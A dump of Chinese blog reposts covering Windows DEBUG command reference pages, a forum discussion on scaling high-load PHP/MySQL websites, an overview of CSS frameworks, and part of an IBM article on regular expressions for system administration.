EB.41 10. 00. BC.42_\n假定决定值 10 应该是 6F。要纠正该值，请按 HYPHEN 键两次以返回到地址 0101（值 10）。Debug 显示以下内容：\n04BA:0100 EB.41 10. 00. BC.42-\n04BA:0102 00.-\n04BA:0101 10._\n在插入点键入 6f 更改值，如下所示：\n04BA:0101 10.6f_\n按 ENTER 停止 e 命令并返回到 Debug 提示符下。\n以下是字符串项的范例：\neds:100 \u0026#8220;This is the text example\u0026#8221;\n该字符串将从 DS:100 开始填充 24 个字节。\n++\n说明\n使用 address 参数\n如果在没有指定可选的 list 参数的值情况下指定 address 的值，Debug 将显示地址和内容，在下一行重复地址，并等待您的输入。此时，您可以执行下列操作之一：\n· 替换字节值。为此，请在当前值后键入新值。如果您键入的值不是有效的十六进制值，或该值包含两个以上的数字，则 Debug 不会回显无效或额外的字符。\n· 进入下一个字节。为此，请按 SPACEBAR（空格键）。要更改该字节中的值，请在当前值后键入新值。如果按 SPACEBAR（空格键）时，移动超过了 8 位界限，Debug 程序将显示新的一行并在行首显示新地址。\n· 返回到前一个字节。为此，请按 HYPHEN 键 (-)。可以反复按 HYPHEN 键 (-) 向后移动超过多个字节。在按 HYPHEN 时，Debug 开始新行并显示当前地址和字节值。\n· 停止执行 e 命令。为此，请按 ENTER 键。在任何字节位置都可以按 ENTER。\n使用 list 参数\n如果指定 list 参数的值，随后的 e 命令将使用列表中的值替换现有的字节值。如果发生错误，将不更改任何字节值。\nList 值可以是十六进制字节或字符串。使用空格、逗号或制表符来分隔值。必须将字符串包括在单或双引号中。\n++++\nDebug:F（填充）\n使用指定的值填充指定内存区域中的地址。\n可以指定十六进制或 ASCII 格式表示的数据。任何以前存储在指定位置的数据将会丢失。\nf range list\n参数\nrange\n指定要填充内存区域的起始和结束地址，或起始地址和长度。关于有效的 range 值的信息，请单击“相关主题”列表中的“Debug 说明”。\nlist\n指定要输入的数据。List 可以由十六进制数或引号包括起来的字符串组成。\n++\n范例\n假定键入以下命令：\nf04ba:100l100 42 45 52 54 41\n作为响应，Debug 使用指定的值填充从 04BA:100 到 04BA:1FF 的内存位置。Debug 重复这五个值直到 100h 个字节全部填满为止。\n++\n说明\n使用 range 参数\n如果 range 包含的字节数比 list 中的数值大，Debug 将在 list 中反复指派值，直到 range 中的所有字节全部填充。\n如果在 range 中的任何内存损坏或不存在，Debug 将显示错误消息并停止 f 命令。\n使用 list 参数\n如果 list 包含的数值多于 range 中的字节数，Debug 将忽略 list 中额外的值。\n++\nDebug:G（转向）\n运行当前在内存中的程序。\ng [=address] [breakpoints]\n参数\n=address\n指定当前在内存中要开始执行的程序地址。如果不指定 address，Windows 2000 将从 CS:IP 寄存器中的当前地址开始执行程序。\nbreakpoints\n指定可以设置为 g 命令的部分的 1 到 10 个临时断点。\n有关执行循环、重复的字符串指令、软件中断或子程序的信息，请单击“相关主题”列表中的 Debug P（执行）。\n有关执行指令的信息，请单击“相关主题”列表中的 Debug T（跟踪）。\n范例\n假定键入以下命令：\ngcs:7550\nWindows 2000 运行当前内存中的程序，直到执行到 CS 段中的断点地址 7550 为止。Debug 将显示寄存器的内容和标志的状态并结束 g 命令。\n以下命令设置两个断点：\ngcs:7550, cs:8000\n如果在 Debug 遇到断点之后再次键入 g 命令，将从在断点之后的指令开始执行，而不是在通常的开始地址执行。\n++\n说明\n使用 address 参数\n必须在 address 参数之前使用等号 (=) 以区分开始地址 (address) 和断点地址 (breakpoints)。\n指定断点\n程序在它遇到的第一个断点处停止，而不论您在 breakpoint 列表的什么位置键入断点。Debug 在每个断点处用中断代码代替原始指令。\n当程序到达断点时，Debug 将所有断点地址恢复到它们的最初指令并显示所有寄存器的内容、所有标记的状态以及最后执行指令的解码形式。Debug 显示的信息与使用 Debug r（寄存器）命令并指定断点时所显示的信息相同。\n如果不在断点处停止程序，Debug 程序将不使用原始指令替换中断代码。\n设置断点的限制\n可以只在包含 8086 操作代码（操作码）的第一个字节的地址上设置断点。如果设置了 10 个以上的断点，Debug 将显示以下信息：\nbp error\n对用户堆栈指针的要求\n用户堆栈指针必须有效且必须有 6 个字节可用于 g 命令。该命令使用 iret 指令跳转到正在被测试的程序。Debug 设置用户堆栈指针并将用户标志、代码段寄存器和指令指针压入用户堆栈。（如果用户堆栈无效或太小，操作系统可能会失败。）Debug 在指定的断点处设置中断代码 (0CCh)。\n重新启动程序\n不要在 Windows 2000 显示以下消息后尝试重新启动程序；\nProgram terminated normally\n要正确地运行程序，必须通过使用 Debug n（名称）和 l（加载）命令重新加载该程序。\n++++\nDebug:H（十六进制）\n对指定的两个参数执行十六进制运算。\nh value1 value2\n参数\nvalue1\n代表从 0 到 FFFFh 范围内的任何十六进制数字。\nvalue2\n代表从 0 到 FFFFh 范围内第二个十六进制数字。\n++\n范例\n假定键入以下命令：\nh19f 10a\nDebug 执行运算并显示以下结果。\n02A9 0095\n++\n说明\nDebug 首先将指定的两个参数相加，然后从第一个参数中减去第二个参数。这些计算的结果显示在一行中：先计算和，然后计算差。\n++++\nDebug:I（输入）\n从指定的端口读取并显示一个字节值。\ni port\n参数\nport\n按地址指定输入端口。地址可以是 16 位的值。\n有关将字节值发送到输出端口的信息，请单击“相关主题”列表中的 Debug O（输出）。\n++\n范例\n假定键入以下命令：\ni2f8\n同时假定端口的字节值是 42h。Debug 读取该字节，并将其值显示如下：\n42\n++\nDebug:L（加载）\n将某个文件或特定磁盘扇区的内容加载到内存。\n要从磁盘文件加载 BX:CX 寄存器中指定的字节数内容，请使用以下语法：\nl [address]\n要略过 Windows 2000 文件系统并直接加载特定的扇区，请使用以下语法：\nl address drive start number\n参数\naddress\n指定要在其中加载文件或扇区内容的内存位置。如果不指定 address，Debug 将使用 CS 寄存器中的当前地址。\ndrive\n指定包含读取指定扇区的磁盘的驱动器。该值是数值型：0 = A, 1 = B, 2 = C 等。\nstart\n指定要加载其内容的第一个扇区的十六进制数。\nnumber\n指定要加载其内容的连续扇区的十六进制数。只有要加载特定扇区的内容而不是加载 debug 命令行或最近的 Debug n（名称）命令中指定的文件时，才能使用 drive、start 和 number 参数。\n有关指定用于 l 命令的文件的信息，请单击“相关主题”列表中的 Debug n（名称）。\n有关写入调试到磁盘的文件的信息，请单击“相关主题”列表中的 Debug w（写入）。\n++\n范例\n假定启动 Debug 并键入以下命令：\nnfile.com\n现在可以键入 l 命令以加载 File.com。Debug 将加载文件并显示 Debug 提示符。\n假定需要从驱动器 C 将起始逻辑扇区为 15 (0Fh) 的 109 (6Dh) 个扇区的内容加载到起始地址为 04BA:0100 的内存中。为此，请键入以下命令：\nl04ba:100 2 0f 6d\n++\n注意\n使用不带参数的 l 命令\n当使用不带参数的 l 命令时，在 debug 命令行上指定的文件将加载到内存中，从地址 CS:100 开始。Debug 同时将 BX 和 CX 寄存器设置为加载的字节数。如果不在 debug 命令行指定文件，所装入的文件将是最近使用 n 命令经常指定的文件。\n使用具有 address 参数的 1 命令\n如果使用带 address 参数的 l 命令，Debug 将从内存位置 address 开始加载文件或指定扇区的内容。\n使用带全部参数的 l 命令\n如果使用带所有参数的 l 命令，Debug 将加载指定磁盘扇区的内容而不是加载文件。\n加载特定扇区的内容\n","permalink":"https://hessian.cn/p/494.html","summary":"转自：http://hi.baidu.com/skying0802/blog/item/76758411ad099b13b8127b3f.html\n","title":"[转]Debug 命令"},{"content":"作者：nightsailer 来源：http://www.phpchina.com/bbs/thread-15484-1-1.html\n看了一些人的所谓大型项目的方法,我感觉都是没有说到点子上，有点难受。\n我也说说自己的看法.我个人认为,很难衡量所谓项目是否大型,\n即便很简单的应用在高负载和高增长情况下都是一个挑战.因此,按照我的想法,姑且说是高负载\n高并发或者高增长情况下,需要考虑的问题.这些问题,很多是和程序开发无关,而是和整个系统的\n架构密切相关的.\n数据库 没错,首先是数据库,这是大多数应用所面临的首个SPOF。尤其是Web2.0的应用，数据库的响应是首先要解决的。\n一般来说MySQL是最常用的，可能最初是一个mysql主机，当数据增加到100万以上，\n那么，MySQL的效能急剧下降。常用的优化措施是M-S（主-从）方式进行同步复制，将查询和操作和分别在不同的\n服务器上进行操作。我推荐的是M-M-Slaves方式，2个主Mysql，多个Slaves，需要注意的是，虽然有2个Master，\n但是同时只有1个是Active，我们可以在一定时候切换。之所以用2个M，是保证M不会又成为系统的SPOF。\nSlaves可以进一步负载均衡，可以结合LVS,从而将select操作适当的平衡到不同的slaves上。\n以上架构可以抗衡到一定量的负载，但是随着用户进一步增加，你的用户表数据超过1千万，这时那个M变成了\nSPOF。你不能任意扩充Slaves，否则复制同步的开销将直线上升，怎么办？我的方法是表分区，\n从业务层面上进行分区。最简单的，以用户数据为例。根据一定的切分方式，比如id，切分到不同的数据库集群去。\n全局数据库用于meta数据的查询。缺点是每次查询，会增加一次，比如你要查一个用户nightsailer,你首先要到\n全局数据库群找到nightsailer对应的cluster id，然后再到指定的cluster找到nightsailer的实际数据。\n每个cluster可以用m-m方式，或者m-m-slaves方式。\n这是一个可以扩展的结构，随着负载的增加，你可以简单的增加新的mysql cluster进去。\n需要注意的是：\n1、禁用全部auto_increment的字段\n2、id需要采用通用的算法集中分配\n3、要具有比较好的方法来监控mysql主机的负载和服务的运行状态。如果你有30台以上的mysql数据库在跑就明白我的意思了。\n4、不要使用持久性链接（不要用pconnect）,相反，使用sqlrelay这种第三方的数据库链接池，或者干脆自己做，因为php4中mysql的\n链接池经常出问题。\n缓存 缓存是另一个大问题，我一般用memcached来做缓存集群，一般来说部署10台左右就差不多（10g内存池）。需要注意一点，千万不能用使用\nswap，最好关闭linux的swap。\n负载均衡/加速 可能上面说缓存的时候，有人第一想的是页面静态化，所谓的静态html，我认为这是常识，不属于要点了。页面的静态化随之带来的是静态服务的\n负载均衡和加速。我认为Lighttped+Squid是最好的方式了。\nLVS \u0026lt;\u0026#8212;\u0026#8212;-\u0026gt;lighttped====\u0026gt;squid(s) ====lighttpd\n上面是我经常用的。注意，我没有用apache，除非特定的需求，否则我不部署apache，因为我一般用php-fastcgi配合lighttpd,\n性能比apache+mod_php要强很多。\nsquid的使用可以解决文件的同步等等问题，但是需要注意，你要很好的监控缓存的命中率，尽可能的提高的90%以上。\nsquid和lighttped也有很多的话题要讨论，这里不赘述。\n存储 存储也是一个大问题，一种是小文件的存储，比如图片这类。另一种是大文件的存储，比如搜索引擎的索引，一般单文件都超过2g以上。\n小文件的存储最简单的方法是结合lighttpd来进行分布。或者干脆使用Redhat的GFS，优点是应用透明，缺点是费用较高。我是指\n你购买盘阵的问题。我的项目中，存储量是2-10Tb，我采用了分布式存储。这里要解决文件的复制和冗余。\n这样每个文件有不同的冗余，这方面可以参考google的gfs的论文。\n大文件的存储，可以参考nutch的方案，现在已经独立为hadoop子项目。(你可以google it)\n其他：\n此外，passport等也是考虑的，不过都属于比较简单的了。\n吃饭了，不写了，抛砖引玉而已。\n【回复】\n9tmd :\n说了关键的几个部分，还有一些比如squid群、LVS或者VIP（四层交换）之类的必须考虑，数据库逻辑分表不需要master里面查id，可以定期缓存或者程序逻辑上进行控制。\n跟大家分享一下我的经验： http://www.toplee.com/blog/archives/337.html （欢迎讨论） nightsailer：\n楼上说的很好.\n我 再说一下关于为何要在主表查询，最主要的因素是考虑到复制和维护的问题。假设按照程序逻辑，用户nightsailer应该在s1集群，但是由于种种原 因，我须要将nightsailer的数据从s1集群转移到s5集群或者某些时候，我需要将某几个集群的数据合并，此时，我维护的时候只需要更新一下主数 据库中nightsailer的cluster id从1变成5,，维护的工作可以独立进行，无需考虑更新应用程序的逻辑。也许程序的id分配逻辑可以考虑到这种情况，但是这样一来，你的这个逻辑会发散 到各个应用中，产生的代码的耦合是很高的。相反，采用查表这种方式，只需要在最初的时候进行初始分配，那么其他的应用是无需考虑这些算法和逻辑的。\n当然，我最初提到的增加这次查询并不是说每次查询都需要找主数据库，缓存策略是必定要考虑的。\n至于说为什么要禁用auto_increment,我想也清楚了，数据的合并和分隔，肯定是不能用auto_increment的。\nnightsailer： 在闲扯一下，PHP的优化可以有很多，主要的措施：\n1、使用FCGI方式，配合lighttpd,Zeus.\n我个人比较喜欢Zeus，简单可靠。不过，需要￥￥￥。\nlighty也不错，配置文件也很简单，比较清爽。最新的1.5,虽然不稳定，但是配合linux的aio,性能的提升\n非常明显。即便现在的稳定版，使用2.6的epoll可以得到的性能是非常高。当然，lighty比zeus缺点是对于smp\n的支持很有限，所以可以采用多服务器负载,或者干脆起不同的进程服务监听不同的端口。\n2、专门的PHP FCGI服务器。\n好处多多，在这个服务器上，就跑php的fcgi服务，你可以把一些缓存加上，比如xcache，我个人喜欢这个。\n还有别的，套用大腕的话，把能装的都装上，呵呵。\n另外，最主要的是，你可以只维护一个php的环境，这个环境能够被apache,zeus,lighttpd同时share，\n前提是这些都使用php的fcgi模式，而且，xcache可以充分发挥！\n3、apache+mod_fastcgi\napache并非无用，有时候也需要。比如我用php做了一个web_dav的服务器，在其他有问题，只能跑apache.\n那么，apache安装一下mod_fastcgi，通过使用externl server，使用2配置的php fastcgi。\n4、优化编译\nICC是我的首选，就是intel的编译器啦，用icc重新编译php,mysql,lighty,能编的都编，会有不小的收获的。尤其是你用\nintel的cpu的话。\n5、php4的64位需要patch\n好像没有人在linux x86_64上编译过php4吧，我曾经googleit\n,别说国内了，连老外都很少用。\n这里就做个提醒把，如果用php官方下载的(包括最新的php-4.4.4)，统统无法编译通过。问题是出在autoconf上，需要\n手工修改config.m4，一般是在mysql,gd,ldap等一些关键的extension上，还有phpize的脚本。把/usr/lib64加入到\nconfig.m4中相关搜索的path中。\n不过我估计很少人像我这样死用php4不防，呵呵。php5就没有问题。\n我也考虑正在迁移到php5.2，写代码太方便了，一直忍着呢。 nightsailer： QUOTE: 原帖由 wuexp 于 2007-1-3 17:01 发表\n分表会使操作数据(更改,删除,查询)边的很复杂,特别是遇到排序的时候就更麻烦了.\n曾经考虑根据用户id哈希一下,插入到相应的分表里 明白你的意思。\n不过我们可能讨论的不完全一样，呵呵。\n我所说的分表要依据不同的业务情况来划分的，\n1、可以是垂直划分，\n比如依据业务实体切分，比如用户a的blog贴子，用户的tag，用户的评论都在a数据库u，甚者是完整的一套数据结构(这种情况下应该说是分数据库）\n2、也可以水平划分，\n一个表的数据分在不同的数据库上。\n比如message表，你可能分为daily_message,history_message，\ndialy_meesage可能是hot对象，week_message是warm，2个月以前的帖子\n可能属于cold对象了。这些对象依据访问频度不同会划分到不同的数据库群上。\n3、二者结合\n不过，不论如何，更改、删除并不复杂，和未分区的表没有区别。\n至于查询和排序，不可能仅仅是通过select，order吧？\n而是应该产生类似摘要表，索引表，参考表。。。\n另外，要根据业务具体分析减少垃圾数据，有些时候，只需要最初的1万条记录，那么所有表\n数据的排序就不需要了。很多传统的业务，比如零售，流水表很大，但是报表的数据\n并非实时生成的，扎报表应该不陌生。\n也可以参考很多网站的做法，比如technorati啊,flickr之类的。\n所谓的麻烦是你设计系统的结构的时候要考虑到，在设计数据库的时候更要注意，\n因此只要项目的framework最初设计比较完备，那么可以说大部分对开发人员是透明的。\n前提是，你一定要设计好，而不是让程序员边写代码边设计，那会是噩梦。\n我写这么多废话，并非仅仅是对程序员来说，也许对设计者更有用。 9tmd ： 程序逻辑上控制表拆分只需要维护一个数据库访问的配置文件即可，对于开发来说，完全透明，可以不用关心访问的是哪里，而只需要调用通用的接口即可，曾经做过的系统里面，这样的应用经常遇到，尤其在全网passport、社区帖子等方面的处理上应用最多。\n原来在yahoo工作和后来mop工作都使用了这样的架构，整体感觉来说还是值得信赖的，单表毕竟存在面对极限数据量的风险。\n9tmd ：\n前 面老是有人问auto_increment的问题，其实这是MySQL官方专门针对M/S的Replication做过的说明，因为MySQL的同步是依 靠同步MySQL的SQL日志来实现的，事实上单向的Master-\u0026gt;Slave使用auto_increment是没有问题的，而双向的M/M模 式就会存在问题了，稍微一思考就知道怎么回事了。官方文档： http://dev.mysql.com/tech-resour \u0026#8230; ql-replication.html\nhttp://dev.mysql.com/doc/refman/ \u0026#8230; auto-increment.html\n另 外，在使用MySQL的同步时，需要注意在自己的代码里面，写SQL的时候不要使用MySQL自己提供的类似 NOW()之类的函数，而应该使用php程序里面计算的时间带入SQL语句里面，否则同步的时候也可能导致值不相等，这个道理可以牵涉出另外一些类似的问 题，大家可以考虑一下。\n","permalink":"https://hessian.cn/p/423.html","summary":"作者：nightsailer 来源：http://www.phpchina.com/bbs/thread-15484-1-1.html\n看了一些人的所谓大型项目的方法,我感觉都是没有说到点子上，有点难受。\n我也说说自己的看法.我个人认为,很难衡量所谓项目是否大型,\n即便很简单的应用在高负载和高增长情况下都是一个挑战.因此,按照我的想法,姑且说是高负载\n高并发或者高增长情况下,需要考虑的问题.这些问题,很多是和程序开发无关,而是和整个系统的\n架构密切相关的.\n","title":"[转]开发大型高负载类网站应用的几个要点"},{"content":"转自：http://dev.collin.cn/detail/46.html\n对于如今的软件开发人员来说，各类五花八门的框架是满天飞，尤其是web开发领域，RoR、Spring、Struts、Zend等等，但要说到CSS框架，知道的人并不多，CSS也有框架吗？有，而且对web开发人员非常有帮助。\n随 着Web UI Designer慢慢抛弃传统的table架构，转而纷纷采用xhtml+div+css模式，css的重要性也是与日俱增，往往会占去一个web项目中 一部分较大的工作量。而且时常会遇到各种浏览器兼容的问题，在ie上看起来很美观的页面，放到firefox下浏览却会出现错位等等这类问题。如何有效的 提高开发人员的效率，同时尽可能的解决浏览器兼容问题，于是有了CSS Framework。\n什么是CSS框架\n框架是个概念性很强的名词，对于CSS来说，所谓的框架就是一些预先定义了全局style重置、一致style设置、form style设置的css文件，这样当启动一个新项目时，可以直接拿来就用，在这些文件的基础上做修改就可以了。 CSS框架没必要太复杂和庞大，一般就是以下这几个文件差不多： typography.css 字体修饰 grid.css 表格修饰 layout.css页面布局修饰 form.css 表单修饰 general.css 一些常用修饰，如reset修饰等等 使用CSS框架的好处\n提高了生产效率并可以避免一些常见的错误。 规范化CSS和HTML代码，如在类似的项目HTML元素都使用相同的IDs和class names。 更加规范了项目流程，如果CSS框架整理了相应的文档，在UI上面一个Team里面的沟通会更加容易。 提高了浏览器兼容性。 你的代码将显得更加清晰、简单、完整以及合理的结构和可读性。 使用CSS框架的坏处\n你需要理解整个框架 可能也会引入这个框架本身自带的bug和错误 太依赖于框架，以致对CSS的本质反而不是很了解 源代码相对会比较庞大，因为框架中很多代码可能是你用不到的 CSS框架推荐\nYaml Blueprint Yahoo! UI Library CSS Foundation 个人比较推荐，是YUI library的一部分 更多\u0026#8230; ","permalink":"https://hessian.cn/p/404.html","summary":"转自：http://dev.collin.cn/detail/46.html\n对于如今的软件开发人员来说，各类五花八门的框架是满天飞，尤其是web开发领域，RoR、Spring、Struts、Zend等等，但要说到CSS框架，知道的人并不多，CSS也有框架吗？有，而且对web开发人员非常有帮助。\n","title":"CSS Framework（CSS框架）"},{"content":"转自:http://www.ibm.com/developerworks/cn/aix/library/au-expressions.html\n用于系统管理的正则表达式\n级别： 中级\nMichael Stutz (stutz@dsl.org), 作者, 顾问\n2006 年 8 月 14 日\n通过本文的学习，您可以增加一些有用的设计实际正则表达式 (regexp) 的技能。构建正则表达式是任何管理员日常工作中的一部分。为了构造返回所需条件的成功正则表达式，需要学习以模式匹配的角度进行思考，而这种技能需要花大量的时间进行练习。\n引言\nUNIX\u0026#174; 管理员每天都需要构建和使用正则表达式 (regexp) 进行文本模式匹配。大多数语言都支持正则表达式的某种实现。有的应用程序（如 EMACS）具有正则表达式搜索功能，并且您可以通过各种命令行工具使用正则表达式。无论什么应用程序，构建正确的正则表达式的关键之处在于，识别仅满足 需要匹配的数据的模式，以便在输入中排除其他不必要的内容。\n出于这个目的，本文将逐步介绍几种正则表达式模式构建技巧，并介绍它们如何帮助您完成各种常规任务。\n使用正则表达式 (regexp)\n除非特别说明，否则本文中使用的示例都是扩展可移植操作系统接口（扩展 POSIX）的正则表达式。如果通过命令行（如使用 egrep 实用工具）使用它们，您应该根据需要引用各种正则表达式。请记住，不同的正则表达式实现之间存在一些区别，您可能不得不适应所使用的特定的工具、应用程序或语言中的具体实现。\n匹配整行内容\n^ 元字符匹配行首，而 $ 匹配行尾，如果将它们组合在一起（如 ^$），它们将匹配空行。（这个表达式的镜像，即 $^，是不可能匹配成功的，它将永远 都无法匹配到有效行。）这个基本的正则表达式是许多复杂正则表达式的基础，如果您还不习惯使用这个基本的正则表达式，那么您应该逐步养成使用它的习惯。使用它来构建匹配整行内容 的模式。\n在用户字典文件 (/usr/dict/words) 中搜索是一个很好的基本模式。（有些版本的 UNIX 将用户字典放在 /usr/share/dict/words 中。）\n例如，假设您忘记了如何拼写单词 fuchsia。其中是否包含 sh 或 cs 呢？您所知道的只是，它以 fu 开头并以 ia 结尾。\n尝试使用这个模式进行搜索：\n$ egrep -i '^fu.*ia$' /usr/dict/words -i 标志表示在搜索过程中不区分大小写。在这个示例中，因为 fuchsia 拼写正确，所以在返回的单词中包括这个单词。\n回页首 根据长度匹配行\n使用大括号元字符 ({ }) 指定前面的正则表达式匹配多少次，如表 1 所示。当您将它们添加到刚才介绍的整行搜索中时，您可以指定行的长度。\n表 1. 大括号元字符的含义\n示例 描述 {X} 这个字符对前面的正则表达式匹配 X 次。 {X,} 这个字符对前面的正则表达式匹配 X 或更多 次。 {X,Y} 这个字符对前面的正则表达式匹配至少 X 而不超过 Y 次。 并不是所有扩展正则表达式的实现都支持大括号。此外，根据具体的实现，您可能需要先使用反斜杠对其进行转义。\n您可以使用这个正则表达式得到字典中以单词长度为顺序的报告。所获得结果的数目取决于本地系统的字典文件中单词的数目，然而，它应该与清单 1 所示类似。在这个示例中，最常见的单词长度是 9 个字母，该字典中有 32,380 个匹配单词。该字典中不包括 25 个字母或更长的单词，并且最长的单词并不是您认为的 21 个字母长的 disestablishmentarian（有 81 个同样长度的单词，包括 superincomprehensible 和 phoneticohieroglyphic），这个 UNIX 字典中最长的单词有 5 个，包括 pathologicopsychological。\n清单 1. 计算字典中 X 个字母的单词的个数\n$ for i in `seq 1 32`\n\u0026gt; {\n\u0026gt; echo \u0026quot;There are\u0026quot; `egrep '^.{'$i'}$' /usr/dict/words | wc -l` \u0026quot;$i-letter words in the dictionary.\u0026quot;\n\u0026gt; }\nThere are 52 1-letter words in the dictionary.\nThere are 155 2-letter words in the dictionary.\nThere are 1351 3-letter words in the dictionary.\nThere are 5110 4-letter words in the dictionary.\nThere are 9987 5-letter words in the dictionary.\nThere are 17477 6-letter words in the dictionary.\nThere are 23734 7-letter words in the dictionary.\nThere are 29926 8-letter words in the dictionary.\nThere are 32380 9-letter words in the dictionary.\nThere are 30867 10-letter words in the dictionary.\nThere are 26011 11-letter words in the dictionary.\nThere are 20460 12-letter words in the dictionary.\nThere are 14938 13-letter words in the dictionary.\nThere are 9762 14-letter words in the dictionary.\nThere are 5924 15-letter words in the dictionary.\nThere are 3377 16-letter words in the dictionary.\nThere are 1813 17-letter words in the dictionary.\nThere are 842 18-letter words in the dictionary.\nThere are 428 19-letter words in the dictionary.\nThere are 198 20-letter words in the dictionary.\nThere are 82 21-letter words in the dictionary.\nThere are 41 22-letter words in the dictionary.\nThere are 17 23-letter words in the dictionary.\nThere are 5 24-letter words in the dictionary.\nThere are 0 25-letter words in the dictionary.\nThere are 0 26-letter words in the dictionary.\nThere are 0 27-letter words in the dictionary.\nThere are 0 28-letter words in the dictionary.\nThere are 0 29-letter words in the dictionary.\nThere are 0 30-letter words in the dictionary.\nThere are 0 31-letter words in the dictionary.\nThere are 0 32-letter words in the dictionary.\n$ 回页首 匹配单词\n围绕字符 \u0026lt; 和 \u0026gt; 是非常有用的模式构造器：它们将要匹配的整个单词 括起来，这表示，它们不会匹配带括号的模式，除非该模式本身就是一个单词。单词 定义为两侧由非单词字符描述的、任意数目组成单词的字符（数字、字母和下划线字符）。非单词字符包括下面的所有字符：\n行首 空白字符 标点符号 行尾 任何除字母、数字或下划线以外的字符 这些围绕字符可以节省大量的时间，但是它们常常没有被充分地利用，可能是因为并非所有的正则表达式实现都支持它们。如果您的正则表达式实现支持它们，那么您应该逐步养成使用它们的习惯。\n将需要单独匹配的单词括起来，如下所示：\n\u0026lt;system\u0026gt; 这个示例中的正则表达式不会匹配单词 ecosystem、systemic 或 system/70，也不会匹配模式 system 出现在行中任意位置的那些行，它将仅仅 匹配 system 作为独立的单词出现的那些行。\n围绕字符与圆括号中的分组结合在一起，可以用来匹配部分 单词。\n要匹配包含以 pre 开头 的单词的那些行，可以使用：\n\u0026lt;(pre).*\u0026gt; 前面的示例将匹配包含单词 preface 和 preposterous 的行，但不会匹配 spread 或 Dupre。\n回页首 匹配重复单词\n这里介绍一种使用单词围绕字符匹配重复单词的快速方法，重复单词表示一个单词在空格之后再次出现。您还可以使用逆向引用，这是大多数流行的正则表达式实现中的一种递归特性，它可以匹配模式本身的某一部分。（将模式中需要引用的部分使用圆括号括起来，然后使用反斜杠加上需要进行引用的围绕字符编号来调用逆向引用：1 表示第一个圆括号分组，2 表示第二个圆括号分组，依此类推。）\n要查找重复的单词，搜索在任意数目的空格之后再次出现该单词的情况，可以通过对第一个使用圆括号的部分进行逆向引用来实现：\n(\u0026lt;.*\u0026gt;)( )+1 这个示例匹配缩写形式和任何类型的单词，但是它不会匹配由标点符号分隔的重复单词，如 It\u0026#8217;s been a long, long time。\n要匹配所有的重复单词，包括由空格和 任意标点符号分隔的重复单词，可以使用下面的表达式：\n(\u0026lt;.*\u0026gt;).?( )+1 如果需要对这些正则表达式使用 grep，则务必使用 -i 标志，以便在搜索中不区分大小写。\n回页首 匹配小时\n让我们再来看另外一类常见的问题：时间和日期。这里介绍了一些设计匹配正确模式的正则表达式所需要考虑的事项。\n您无法搜索任何两位的数字来匹配分钟和秒，因为它们仅仅是从 0 到 59，要匹配它们，您需要使用方括号将表示十位和个位的范围括起来：\n要匹配标准的 12 或 24 小时格式的小时，可以使用下面的表达式：\n(([0-1]?[0-9])|([2][0-3])):([0-5][0-9])(:[0-5][0-9])? 要匹配 12 小时 AM/PM 格式、带或不带秒数的时间，甚至匹配大写或小写、不带后缀 AM 或 PM 标识符的时间，可以使用下面的表达式：\n([^0-9])([0-1]?[0-9]){1}(((:([0-5]){1}([0-9]){1}){1,2})|(( )?([AP]M)|([ap]m)))? 如果在上一个示例中没有开始的否定语句，它将匹配不带冒号的时间，这将取决于输入数据，可能会匹配中波广播电台（在美国称为调幅 AM 电台），如 1450 AM。\n回页首 匹配月份\n匹配 12 个月中的任何月份需要一个使用 | 操作符进行分隔的列表，但有时会使用不同的方式对日期进行缩写：\n要查找完整拼写或三字母缩写的 12 个月份，可以使用下面的表达式（位于一行）：\nJan(uary)?|Feb(uary)?|Mar(ch)?|Apr(il)?|May|Jun(e)?|Jul(y)?|\nAug(ust)?|Sep(tember)?|Oct(ober)?|Nov(ember)?|Dec(ember)? 您可以加以想象并搜索完整拼写或三字母缩写的变形，即仅当后面紧跟着一个空格或点号的情况，可以使用下面的表达式（位于一行）：\nJan(uary| |.)|Feb(uary| |.)|Mar(ch| |.)|Apr(il| |.)|May( |.)|Jun(e| |.)|Jul(y| |\n.)|Aug(ust| |.)|Sep(tember| |.)|Oct(ober| |.)|Nov(ember| |.)|Dec(ember| |.) 请注意，在上面的这两个示例中，May 是一个特殊的例外。在所有的月份中，它是唯一的完整拼写与三字母缩写相同的月份，所以成功的匹配必须包含这两种变形中的任何一种 作为其缩写，因此像\u0026ldquo;Mayflower\u0026rdquo;这样的单词不会导致误报。\n当匹配模式前面的字符不是空格或行首时，这些示例还是会失败（返回误报的结果）。这不太可能会出现在英语散文中，但是可能出现在程序源代码中，因为其中可能使用了像 NumOct 这样的变量名。\n要修复这些问题，可以执行下面的操作：\n使用圆括号将整个正则表达式括起来，并在它的前面加上另一个限定符，用于匹配行首或者空格字符，如下所示（位于一行）：\n(^| )(Jan(uary| |.)|Feb(uary| |.)|Mar(ch| |.)|Apr(il| |.)|\nMay( |.)|Jun(e| |.)|Jul(y| |.)|Aug(ust| |.)|Sep(tember| |\n.)|Oct(ober| |.)|Nov(ember| |.)|Dec(ember| |.)) 另一种完成这个任务的方法是，在该正则表达式的前面加上一个限定符，以匹配非文字数字的字符，如下所示（位于一行）：\n([^A-Za-z0-9])(Jan(uary| |.)|Feb(uary| |.)|Mar(ch| |.)|\nApr(il| |.)|May( |.)|Jun(e| |.)|Jul(y| |.)|Aug(ust| |.)|\nSep(tember| |.)|Oct(ober| |.)|Nov(ember| |.)|Dec(ember| |.)) 但是仍然存在潜在的问题，对于搜索整篇英文散文，这些示例并不可靠，因为它们可能返回错误的匹配结果，如\u0026ldquo;Janelle\u0026rdquo;或\u0026ldquo;Augury\u0026rdquo;这样的单词。要修复这个问题，您必须使用单词围绕字符将每个月份括起来。\n本文开头提到，正确的正则表达式应该仅返回需要匹配的数据，以便在输入中排除其他不必要的内容。这种措词是经过仔细考虑的，因为对于构建正则表达式来说，这与上下文有关。对于有些情况，前面的示例非常适合，无需添加额外的单词围绕字符。在其他的情况下，可以对其进行相当程度的简化，例如，如果您正在搜索仅包含大写的日期数值数据的日志文件，那么只需要使用像 [A-S] 这样的正则表达式来匹配包含月份名称的行。\n回页首 匹配日期\n您可以结合一些表 1 所示的数量匹配来匹配日期。\n要匹配\u0026ldquo;month, day, years\u0026rdquo;，可以使用下面的正则表达式（因为撇号字符是该正则表达式的一部分，所以必须使用双引号将它括起来，如下所示）：\n\u0026quot;[A-Za-z]{3,10}.? [0-9]{1,2}, ([0-9]{4}|'?[0-9]{2})\u0026quot; 这个正则表达式匹配 9 种不同的日期格式：\nMONTH [D]D, YY MONTH [D]D, 'YY MONTH [D]D, YYYY MON. [D]D, YY MON. [D]D, 'YY MON. [D]D, YYYY MON [D]D, YY MON [D]D, 'YY MON [D]D, YYYY 这个正则表达式的误报包括\u0026ldquo;Order 99, 